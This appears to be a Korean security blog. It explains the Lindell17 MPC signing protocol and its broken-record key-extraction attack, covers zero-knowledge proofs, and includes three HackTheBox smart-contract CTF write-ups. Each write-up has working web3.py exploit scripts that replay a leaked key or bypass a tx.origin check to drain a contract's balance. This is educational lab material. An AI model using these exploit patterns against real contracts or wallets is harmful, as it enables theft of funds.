specialize in crypto(graphy) and interested in web3 security

 

Education & Experience
2022.03~ : Korea University
2023~ : CyKor regular member
2023.10~ : thehackerscrew
2024.03~ 2024.07 : Blockchain Valley Development team
2024.07~ 2024.11  : Upside Academy

 

Information
Cryptohack profile : here
Dreamhack profile : here
blog for only cryptography : here
blog for only web3 : here
twitter : here

 

Archievements
2023
zer0pts CTF 🥈(2nd) (team : CyKor)
vsCTF 🥇(1st) (team : CyberSpace)
Srdnlen CTF 4th (team : thehackerscrew)
HK Cyber Security New Generation CTF 5th (team : thehackerscrew)
GlacierCTF academic 🥈(2nd) (team : CyKor)
m0leCon CTF final 5th (team : thehackerscrew)
backdoor CTF 🥈(2nd) (team : thehackerscrew)
ASIS CTF Finals 🥉(3rd) (team : thehackerscrew)

 

2024
IrisCTF 🥈(2nd) (team : thehackerscrew)
LA CTF 🥉(3nd) (team : thehackerscrew)
2024 Feb Space War crypto 🥉(3nd) (solo)
Dreamhack invitational 8th + Crypto award (1000000KRW) (solo)

Lindell17 protocol은 2017년 Lindell에 의해 개발되었으며 대표적인 MPC 중 하나이다. Lindell17 protocol에서는 two parties가 ECDSA key의 분리된 share을 생성하고 두 party가 모두 message를 sign하고 싶을 때에만 sign할 수 있다.

Practical Key-Extraction Attacks in Leading MPC Wallets 를 기반으로 Lindell17 protocol과 이에 대한 broken record attack을 소개하겠다.


Lindell17 protocol에 쓰이는 Paillier Encryption을 먼저 살펴보자.

Paillier Encryption

$p, q$ : 1024 bit prime
public key : $N = pq$
private key : $σ=(p-1)(q-1)$

Encryption

message $m ∈ Z_n$, random number $ρ∈Z_N^* $

$$Enc_N(m;ρ) = (1 + N)^mρ^N \ (mod \ N^2)$$

Decryption

ciphertext $C∈Z_{N^2}^* $, $µ = σ^{-1} \ (mod \ N)$
$$
Dec_σ(C) = (\frac{C^σ \ (mod \ N^2) -1}{N})µ \ (mod \ N)$$
$$= (\frac{(1 + N)^{mσ} \ (mod \ N^2) - 1}{N})µ \ (mod \ N) \ \ \ (\because ρ^{Nσ} = 1 \ (mod \ N^2))$$
$$= (\frac{1 + mσN - 1}{N})µ \ (mod \ N)$$
$$= (mσ)µ \ (mod \ N)$$
$$=m \ (mod \ N)$$


Lindell17 protocol

KeyGen

Alice와 Bob이 group-generator-order tuple $(G, g, q)$을 생성하고 $x_A, x_B ∈Z_q$에 대하여 다음과 같이 key를 생성한다.
$$ (N, σ) \leftarrow PailKeys \ \ and \ \ X=g^{x_A + x_B}, C \leftarrow Enc_N(x_B) $$
*여기서 $G$는 타원곡선 점들의 집합, $g$는 타원곡선의 generator, $q$는 타원곡선의 order을 말하는 것으로 보인다.즉, $g^k$는 $k$와 generator을 곱한 점의 $x$좌표를 말한다.


public key : $X∈G$, $N∈Z$
Alice's private key : $x_A$
Bob's private key : $x_B, σ$


또한, $C$가 Alice에게 전달된다.

Protocol

*MulShare은 $k_A, k_B$를 주면 $R = g^{k_Ak_B}$를 주는 oracle이다.

*operation 4에 $k_2^{-1}Dec_σ(C)$가 아니라 $k_B^{-1}Dec_σ(D)$인 것 같다.


Operation 자체는 꽤 단순하다.
4 부분만 보자.
$$s = k_B^{-1}Dec_σ(D) \ (mod \ q)$$
$$ = k_B^{-1}Dec_σ(Enc_N(k_A^{-1}(m+rx_A) \ (mod \ q))Enc_N(x_Brk_A^{-1} \ (mod \ q))) \ (mod q)$$
$$ = k_B^{-1}Dec_σ(Enc_N(k_A^{-1}(m+rx_A )+ x_Brk_A^{-1} \ (mod \ q)) \ (mod q) $$
$$(\because paillier \ encryption \ is \ additively \ homomorphic)$$
$$ = k_B^{-1}k_A^{-1}(m + r(x_A + x_B)) \ (mod \ q)$$

위 과정으로 인해 Bob은 Alice로부터 $D$를 받아 valid signature인 $s$를 계산할 수 있다.

결론적으로 Alice와 Bob은 message $m$에 대한 서명 $r, s$를 protocol을 통해 생성할 수 있다.

Broken Record Attack

Bob은 $x_B - y_B \ (mod \ 2^l) = 0$ 인 경우에만 signature을 올바르게 생성할 수 있다. 따라서 Alice(attacker)는 $l$을 1씩 늘려가며 Bob의 response에 따라 $x_B$의 lsb를 하나씩 leak할 수 있다.

Proof

Alice가 $k_A = 2^l$로 고른다면 $s = (2^lk_B)^{-1}(m+r(x_A+x_B)) \ (mod \ q)$ 가 된다.
$\zeta = 2^{-l}(m+rx_A) \ (mod \ q), \zeta' = y_Br'2^{-l} \ (mod \ q)$라 하면

)

위와 같은 과정을 통해 증명이 된다.




혹여나 Broken record attack 관련 wargame을 풀고 싶다면 DownUnderCTF2024에 출제된 super party computation을 풀어보길 바란다. CVE-2023-33242기반의 문제이며 이 문제의 Mulshare oracle에서 $x_A+x_B$가 아닌 $x_Ax_B$로 계산하지만 공격 자체는 완벽히 동일하게 통한다.

이 글에서는 interactive ZKP와 non-interactive ZKP가 무엇인지와 그 예시에 대하여 알아본다.


Interactive proof system이란 prover와 verifier 사이의 정보를 교환하는 computation을 모델링한 이론적인 컴퓨팅 모델이다. Interactive proof에서는 prover가 infinite computing power을, verifier은 제한된 computing power을 가지고 있으므로 주로 prover가 dishonest한 경우를 가정하고 공격 시나리오를 생각한다.

하지만 verifier가 dishonest한 경우를 고려하기 시작하면서 ZKP가 등장하였다.

 

Property of ZKP

ZKP는 항상 다음과 같은 조건을 모두 만족시켜야 한다.

  • Completeness : honest prover가 secret을 알고 있다면 honest verifier은 이를 납득할 수 있다.
  • Soundness : honest verifier가 납득한다면 prover은 secret을 알고 있는 것이다. 즉, prover가 secret을 모른다면 verifier을 납득시킬 수 없다.
  • Zero-knowledgeness : dishonest verifier는 secret에 대한 그 어느 정보도 알 수 없다.

 

Fiat-Shamir protocol

Interactive ZKP의 대표적인 예시인 Fiat-Shamir protocol을 알아보자.


Goal
$v$와 큰 소수 2개의 곱으로 이루어진 $n$에 대하여 $v = s^2 \ (mod \ n)$을 만족하는 $s$가 존재함을 prover가 verifier에게 납득시키려 한다.


setup
private input는 prover만 알고 있고, public input는 prover와 verifier 모두가 알고 있는 정보이다.

  • private input : $s$
  • public input : $n$, 그리고 $v = s^2 \ (mod \ n)$를 만족하는 $v$

  1. Commitment : Prover은 random한 수 $r$을 골라 verifier에게 $r$에 대한 commitment $x$를 전달한다.
  2. Challenge : Verifier은 prover에게 0 또는 1을 challenge값으로 전달한다.
  3. Response : Prover은 verifier에게 $y$를 전달한다.
  4. Verification : Verifier은 $y^2 = xv^e \ (mod \ n)$을 만족하는지 확인한다.

위의 과정을 여러 번 반복하면 malicious prover가 verification을 모두 통과할 가능성이 적어진다.

  • Completeness
    $e=0 \rightarrow y = r, y^2 = r^2 = x = xv^0 \ (mod \ n)$
    $e=1 \rightarrow y = rs \ (mod \ n), y^2 = r^2s^2 = xv^1 \ (mod \ n)$
  • Soundness
    $e=1 \rightarrow$ $x = \frac{r^2}{v}$로 Commitment에서 보냄
    $y=r$로 response하면 verification통과, 즉, 50%확률로 verifier의 $e$를 예상하여 통과 가능
    여러 번 반복하므로 soundness도 만족
  • Zero-knowledgeness
    원래는 simulator을 생성하여 얻을 수 있는 정보와 실제를 비교하여 같음을 증명해야 하지만 brief하게 설명하자면 verifier은 $s$에 대한 어느 정보도 얻지 못하므로 만족



Interactive ZKP의 경우, prover와 verifier가 항상 on-line상태여야 하고 연산을 반복해야 하므로 비효율적이라는 단점이 있다. 그래서 나온게 non-interactive ZKP이다.

Schnorr identification protocol

Non-interactive ZKP의 예시인 Schnorr identification protocol을 알아보자.


Non-interactive는 prover와 verifier의 정보 교환이 최소화되는 것이 핵심이다. prover은 verifier에게 증명에 필요한 정보를 주기만 하고 받지는 않는다.


Goal
소수 $p$에 대하여 $h = g^x \ (mod \ p)$를 만족하는 $x$를 알고 있음을 prover가 verifier에게 납득시키려 한다.


setup

  • private input : $x$
  • public input : $p$, $g$, $h$, 그리고 $q \ | \ p-1$, $g^q=1 \ (mod \ p)$를 만족하는 $q$

  • Completeness
    $g^z = g^{r+xc} = uh^c \ (mod \ p)$
  • Soundness
    $u$가 확정되면 $c$도 확정되므로 그에 맞는 $z$를 찾기 위해서는 dlp를 풀어야한다. 따라서 $x$를 모르면서 $g^z=uh^c \ (mod \ p)$를 만족하는 $(u,c,z)$를 찾을 확률은 negligible하다.
  • Zero-knowledgeness
    verifier은 $x$에 대한 어느 정보도 얻지 못하므로 만족



Non-interactive ZKP에서 succinctness(간결함), 즉, proof size를 줄이고 빠르게 verify를 할 수 있도록 하여 실용성을 극대화시킨 것이 zk-SNARKs라고 한다. 이는 차차 공부해보자.

Rivals.sol

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

contract Rivals {
    event Voice(uint256 indexed severity);

    bytes32 private encryptedFlag;
    bytes32 private hashedFlag;
    address public solver;

    constructor(bytes32 _encrypted, bytes32 _hashed) {
        encryptedFlag = _encrypted;
        hashedFlag = _hashed;
    }

    function talk(bytes32 _key) external {
        bytes32 _flag = _key ^ encryptedFlag;
        if (keccak256(abi.encode(_flag)) == hashedFlag) {
            solver = msg.sender;
            emit Voice(5);
        } else {
            emit Voice(block.timestamp % 5);
        }
    }
}

 

Setup.sol

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import {Rivals} from "./Rivals.sol";

contract Setup {
    Rivals public immutable TARGET;

    constructor(bytes32 _encryptedFlag, bytes32 _hashed) payable {
        TARGET = new Rivals(_encryptedFlag, _hashed);
    }

    function isSolved(address _player) public view returns (bool) {
        return TARGET.solver() == _player;
    }
}

 

solver를 msg.sender로 만들어야 한다. talk함수에서 if문의 조건을 만족시키면 Voice(5)가, 그렇지 못하면 Voice(block.timestamp%5)가 수행된다.

 

유일하게 public변수인 solver을 출력해보면 초기값인 0이 아니라 다른 주소이다. 즉, 이미 talk함수를 호출하여 if문의 조건을 충족시켜 solver가 특정 주소로 변한 것이다. 여기서 중요한 점은 talk함수를 호출하면 무조건 event가 발생하며, if문의 조건을 충족시킨 경우에만 이벤트의 인자가 5가 된다는 것이다. 따라서 event log에서 이를 찾아서 input, 즉, key를 leak할 수 있다.

 

ex.py

from web3 import Web3
import requests
import json

url = "http://94.237.54.214:59399"

info = json.loads(requests.get(url + "/connection_info").content)

privkey = info["PrivateKey"]
target_addr = info["TargetAddress"]
pub_address = info["Address"]

w3 = Web3(Web3.HTTPProvider(url + '/rpc'))

def string_to_bytes32(text):
    return Web3.to_bytes(text=text).ljust(32, b'\0')

contract = w3.eth.contract(address=target_addr, abi = open("abi.json", "r").read())

logs = contract.events.Voice().get_logs(fromBlock=0)

for log in logs:
    tx_receipt = w3.eth.wait_for_transaction_receipt(log['transactionHash'].hex())
    if tx_receipt['logs'][0]['topics'][1] == b'\x00'*31 + b'\x05':
        print("find!!!")
        tx_hash = log['transactionHash'].hex()
        break

key = w3.eth.get_transaction(tx_hash)['input'].hex()
key = bytes.fromhex(key[2:])[4:] # key is including function selector which is 4 bytes

transaction = contract.functions.talk(key).build_transaction(
    {
        "chainId": w3.eth.chain_id,
        "gasPrice": w3.eth.gas_price,
        "from": pub_address,
        "nonce": w3.eth.get_transaction_count(pub_address),
        "value": 0 
    }
)

sign_transaction = w3.eth.account.sign_transaction(transaction, private_key=privkey)
tx_hash = w3.eth.send_raw_transaction(sign_transaction.rawTransaction)
tx_receipt = w3.eth.wait_for_transaction_receipt(tx_hash)

print(requests.get(url + '/flag').content.decode())

'wargame' 카테고리의 다른 글

hackthebox - Distract and Destroy  (1) 2024.05.15
hackthebox - Survival of the Fittest  (0) 2024.05.10

Creature.sol

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

contract Creature {
    uint256 public lifePoints;
    address public aggro;

    constructor() payable {
        lifePoints = 1000;
    }

    function attack(uint256 _damage) external {
        if (aggro == address(0)) {
            aggro = msg.sender;
        }

        if (_isOffBalance() && aggro != msg.sender) {
            lifePoints -= _damage;
        } else {
            lifePoints -= 0;
        }
    }

    function loot() external {
        require(lifePoints == 0, "Creature is still alive!");
        payable(msg.sender).transfer(address(this).balance);
    }

    function _isOffBalance() private view returns (bool) {
        return tx.origin != msg.sender;
    }
}

 

Setup.sol

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import {Creature} from "./Creature.sol";

contract Setup {
    Creature public immutable TARGET;

    constructor() payable {
        require(msg.value == 1 ether);
        TARGET = new Creature{value: 10}();
    }

    function isSolved() public view returns (bool) {
        return address(TARGET).balance == 0;
    }
}

 

tx.origin과 msg.sender가 달라야 한다. tx.origin은 EOA로 고정이므로 중간에 attack을 호출하는 Middle 컨트랙트를 배포하여 msg.sender가 Middle 컨트랙트의 주소가 되도록 하면 된다. 또한, aggro가 msg.sender와 달라야 하고 초기값인 0이면 msg.sender로 설정되므로 tx.origin에서 우선 attack함수를 호출하여 aggro를 tx.origin으로 설정해줘야 한다.

 

from web3 import Web3
import requests
import json
from solcx import *

url = "http://94.237.63.83:39628"
key = json.loads(requests.get(url + "/connection_info").content)

privkey = key["PrivateKey"]
target_addr = key["TargetAddress"]
pub_address = key["Address"]

w3 = Web3(Web3.HTTPProvider(url + "/rpc"))
assert w3.is_connected() == True

dir_contract = w3.eth.contract(address=target_addr, abi = open('creature.json','r').read())

# set aggro to tx.origin
dir_contract.functions.attack(1000).transact()

source_code = """
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

contract Middle {
    constructor (address target, uint256 _damage) {
        (bool success, bytes memory result) = target.call(abi.encodeWithSignature("attack(uint256)", _damage));
        require(success, string(result));
    }
}
"""

compiled_sol = compile_source(source_code, output_values=["abi", "bin"])
_, contract_interface = compiled_sol.popitem()
bytecode = contract_interface["bin"]
abi2 = contract_interface["abi"]
contract2 = w3.eth.contract(abi=abi2, bytecode=bytecode)

transaction = contract2.constructor(target_addr, 1000).build_transaction(
    {
        "chainId": w3.eth.chain_id,
        "gasPrice": w3.eth.gas_price,
        "from": pub_address,
        "nonce": w3.eth.get_transaction_count(pub_address),
        "value": 0 
    }
)

sign_transaction = w3.eth.account.sign_transaction(transaction, private_key=privkey)
tx_hash = w3.eth.send_raw_transaction(sign_transaction.rawTransaction)
tx_receipt = w3.eth.wait_for_transaction_receipt(tx_hash)
print(tx_receipt)

print(dir_contract.functions.lifePoints().call())
dir_contract.functions.loot().transact()
print(requests.get(url + '/flag').content)

'wargame' 카테고리의 다른 글

hackthebox - Honor Among Thieves  (1) 2024.05.15
hackthebox - Survival of the Fittest  (0) 2024.05.10

Creature.sol

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

contract Creature {
   
    uint256 public lifePoints;
    address public aggro;

    constructor() payable {
        lifePoints = 20;
    }

    function strongAttack(uint256 _damage) external{
        _dealDamage(_damage);
    }
   
    function punch() external {
        _dealDamage(1);
    }

    function loot() external {
        require(lifePoints == 0, "Creature is still alive!");
        payable(msg.sender).transfer(address(this).balance);
    }

    function _dealDamage(uint256 _damage) internal {
        aggro = msg.sender;
        lifePoints -= _damage;
    }
}

 

Setup.sol

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import {Creature} from "./Creature.sol";

contract Setup {
    Creature public immutable TARGET;

    constructor() payable {
        require(msg.value == 1 ether);
        TARGET = new Creature{value: 10}();
    }
   
    function isSolved() public view returns (bool) {
        return address(TARGET).balance == 0;
    }
}

 

target의 balance를 0으로 만들면 isSolved()를 만족한다. 따라서 loot()를 호출하여 target의 이더를 msg.sender로 다 보내야 하고 이를 위해 lifePoints가 0이어야 한다. 이는 stringAttack으로 수행할 수 있다.

 

ex.py

from web3 import Web3
import requests
import json

url = "http://94.237.62.149:57086"

info = json.loads(requests.get(url + "/connection_info").content)

privkey = info["PrivateKey"]
target_addr = info["TargetAddress"]

w3 = Web3(Web3.HTTPProvider(url + '/rpc'))

contract = w3.eth.contract(address=target_addr, abi = open("abi.json", "r").read())

contract.functions.strongAttack(20).transact()
assert contract.functions.lifePoints().call() == 0
contract.functions.loot().transact()

print(requests.get(url + '/flag').content.decode())

'wargame' 카테고리의 다른 글

hackthebox - Honor Among Thieves  (1) 2024.05.15
hackthebox - Distract and Destroy  (1) 2024.05.15

+ Recent posts